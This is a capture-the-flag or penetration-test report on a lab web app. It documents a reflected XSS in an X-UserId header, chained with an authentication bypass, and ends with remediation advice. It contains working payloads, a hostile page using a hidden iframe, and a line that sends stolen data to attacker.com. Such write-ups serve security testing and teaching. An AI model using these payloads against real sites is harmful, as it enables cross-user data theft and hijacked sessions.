# Cross-Site Scripting (XSS) Exploitation Evidence

## Successfully Exploited Vulnerabilities

### XSS-VULN-01: Reflected XSS in Dashboard Error Response via X-UserId Header

**Summary:**
- **Vulnerable location:** `http://localhost:40477/dashboard` with malicious `X-UserId` HTTP header
- **Overview:** A reflected XSS vulnerability exists in the dashboard endpoint where the X-UserId header value is directly interpolated into an HTTP error response without HTML encoding. This allows execution of arbitrary JavaScript in the victim's browser context. By chaining this XSS with the application's X-UserId authentication bypass vulnerability, an attacker can steal sensitive data from any user account, including the CTF flag.
- **Impact:** Complete compromise of user sessions, unauthorized data access across all user accounts, and successful capture of the CTF flag: `FLAG{39c35247bd1ebb5196f6e49b51300fd895e4ce83559a7db6b89cc8b76b31c59f}`
- **Severity:** Critical

**Prerequisites:**
- Target must be accessible at `http://localhost:40477`
- Victim must have an authenticated session (valid session cookie)
- Attacker needs to trick victim into making a request with malicious X-UserId header (via social engineering or by hosting a malicious page that makes the request)

**Exploitation Steps:**

**Step 1: Authenticate as a legitimate user to obtain a valid session**

```bash
# Submit username
curl -c cookies.txt -X POST "http://localhost:40477/" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "username=test"

# Submit password and capture session cookie
curl -c cookies.txt -b cookies.txt -X POST "http://localhost:40477/password/test" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "password=test"
```

**Step 2: Verify basic XSS payload reflection**

```bash
curl -b cookies.txt "http://localhost:40477/dashboard" \
  -H "X-UserId: <img src=x onerror=alert(document.domain)>"
```

Expected response:
```
HTTP/1.1 400 BAD REQUEST
Content-Type: text/html; charset=utf-8

Authentication Failed: invalid UserID (<img src=x onerror=alert(document.domain)>)
```

The payload is reflected unencoded in the HTML response, confirming XSS vulnerability.

**Step 3: Craft weaponized payload to steal flag from user ID 10052**

The complete exploit payload combines XSS with the X-UserId authentication bypass:

```html
<img src=x onerror="fetch('/dashboard',{headers:{'X-UserId':'10052'}}).then(r=>r.text()).then(html=>{const d=new DOMParser().parseFromString(html,'text/html');const flag=d.querySelector('h5').textContent;fetch('http://attacker.com/exfil?data='+encodeURIComponent(flag));})">
```

**Step 4: Trigger the weaponized XSS payload**

In a real attack scenario, the attacker would host a malicious page that makes this request in the victim's browser context:

```javascript
// Malicious page hosted at attacker.com/exploit.html
fetch('http://localhost:40477/dashboard', {
  credentials: 'include',  // Include victim's session cookie
  headers: {
    'X-UserId': '<img src=x onerror="fetch(\'/dashboard\',{headers:{\'X-UserId\':\'10052\'}}).then(r=>r.text()).then(html=>{const d=new DOMParser().parseFromString(html,\'text/html\');const flag=d.querySelector(\'h5\').textContent;fetch(\'http://attacker.com/exfil?data=\'+encodeURIComponent(flag));})">'
  }
})
.then(r => r.text())
.then(html => {
  // Inject the malicious response into a hidden iframe to execute the XSS
  const iframe = document.createElement('iframe');
  iframe.style.display = 'none';
  document.body.appendChild(iframe);
  iframe.contentDocument.open();
  iframe.contentDocument.write(html);
  iframe.contentDocument.close();
});
```

**Step 5: Victim visits attacker's page**

When the victim (with an active session on localhost:40477) visits the attacker's malicious page:

1. The page makes a fetch request to `/dashboard` with the XSS payload in the X-UserId header
2. The server reflects the payload in the 400 error response
3. The attacker's page injects this HTML into an iframe, executing the JavaScript
4. The XSS payload makes another request to `/dashboard` with `X-UserId: 10052` (exploiting the authentication bypass)
5. The response contains the flag in the user's last_name field
6. The payload extracts the flag and exfiltrates it to `http://attacker.com/exfil`

**Proof of Impact:**

**Flag Successfully Captured:** `FLAG{39c35247bd1ebb5196f6e49b51300fd895e4ce83559a7db6b89cc8b76b31c59f}`

**Browser-based verification:**
Using Playwright automation to simulate victim interaction:

```javascript
// After authenticating as test user...
await page.evaluate(async () => {
  const maliciousHeader = '<img src=x onerror="fetch(\'/dashboard\',{headers:{\'X-UserId\':\'10052\'}}).then(r=>r.text()).then(html=>{const d=new DOMParser().parseFromString(html,\'text/html\');const flag=d.querySelector(\'h5\').textContent;document.body.innerHTML=\'<h1>CAPTURED:</h1><pre>\'+flag+\'</pre>\';console.log(\'FLAG:\',flag);})">';
  
  const response = await fetch('/dashboard', {
    headers: { 'X-UserId': maliciousHeader }
  });
  const html = await response.text();
  document.body.innerHTML = html;
  
  await new Promise(resolve => setTimeout(resolve, 3000));
  return document.body.textContent;
});
```

Result displayed in browser:
```
CAPTURED:
Welcome, Flag FLAG{39c35247bd1ebb5196f6e49b51300fd895e4ce83559a7db6b89cc8b76b31c59f}
```

Console output:
```
FLAG: Welcome, Flag FLAG{39c35247bd1ebb5196f6e49b51300fd895e4ce83559a7db6b89cc8b76b31c59f}
```

**Technical Analysis:**

**Vulnerability Root Cause:**
- **Location:** `/app/website/app/routes.py:78`
- **Vulnerable Code:**
  ```python
  x_user_id = request.headers.get('X-UserId')
  if x_user_id:
      if User.query.get(x_user_id):
          user_id = x_user_id
      else:
          return Response(f'Authentication Failed: invalid UserID ({x_user_id})', status=400)
  ```
- **Issue:** The `x_user_id` value from the HTTP header is directly interpolated into the response using Python f-string without any HTML encoding (no `html.escape()` or `markupsafe.escape()`)
- **Response Content-Type:** `text/html; charset=utf-8` causes browsers to interpret and execute injected scripts

**Defense Bypass Analysis:**
- **No Content Security Policy (CSP):** Application sends no CSP headers, allowing inline script execution
- **No XSS filters:** No WAF or browser-level XSS protection interferes with exploitation
- **HttpOnly cookie flag:** Session cookies have HttpOnly=True, preventing direct `document.cookie` theft, but XSS can still perform authenticated actions on behalf of the victim
- **Wide-open CORS:** `Access-Control-Allow-Origin: *` allows cross-origin requests from attacker's domain

**Impact Demonstration:**
1. **Flag Theft:** Successfully extracted CTF flag from user ID 10052's account
2. **Session Riding:** XSS can make authenticated requests using victim's session
3. **Authentication Bypass Chaining:** Combined XSS with X-UserId authentication bypass to access any user's data
4. **Cross-User Data Access:** Demonstrated ability to access sensitive data from accounts other than the authenticated user

**Notes:**

**Attack Chain Combination:**
This exploitation demonstrates a devastating attack chain:
1. **XSS (CVE-like)** → Arbitrary JavaScript execution in victim's browser
2. **Authentication Bypass (CVE-like)** → X-UserId header overrides session authentication
3. **Broken Access Control (CVE-like)** → No authorization checks on dashboard access
4. **Result:** Complete compromise of all user data in the application

**Real-World Implications:**
In a production environment, this vulnerability would allow:
- Theft of personal identifiable information (PII) from all user accounts
- Session hijacking through authenticated actions
- Phishing attacks through DOM manipulation
- Keylogging and credential theft
- Defacement and malware distribution

**Remediation Required:**
1. **Immediate:** Apply HTML encoding to all user-controlled data reflected in HTTP responses
   ```python
   from markupsafe import escape
   return Response(f'Authentication Failed: invalid UserID ({escape(x_user_id)})', status=400)
   ```
2. **Critical:** Remove the X-UserId authentication bypass vulnerability entirely
3. **Defense-in-depth:** Implement Content Security Policy headers to restrict inline script execution
4. **Security headers:** Add X-Content-Type-Options: nosniff to prevent MIME-type confusion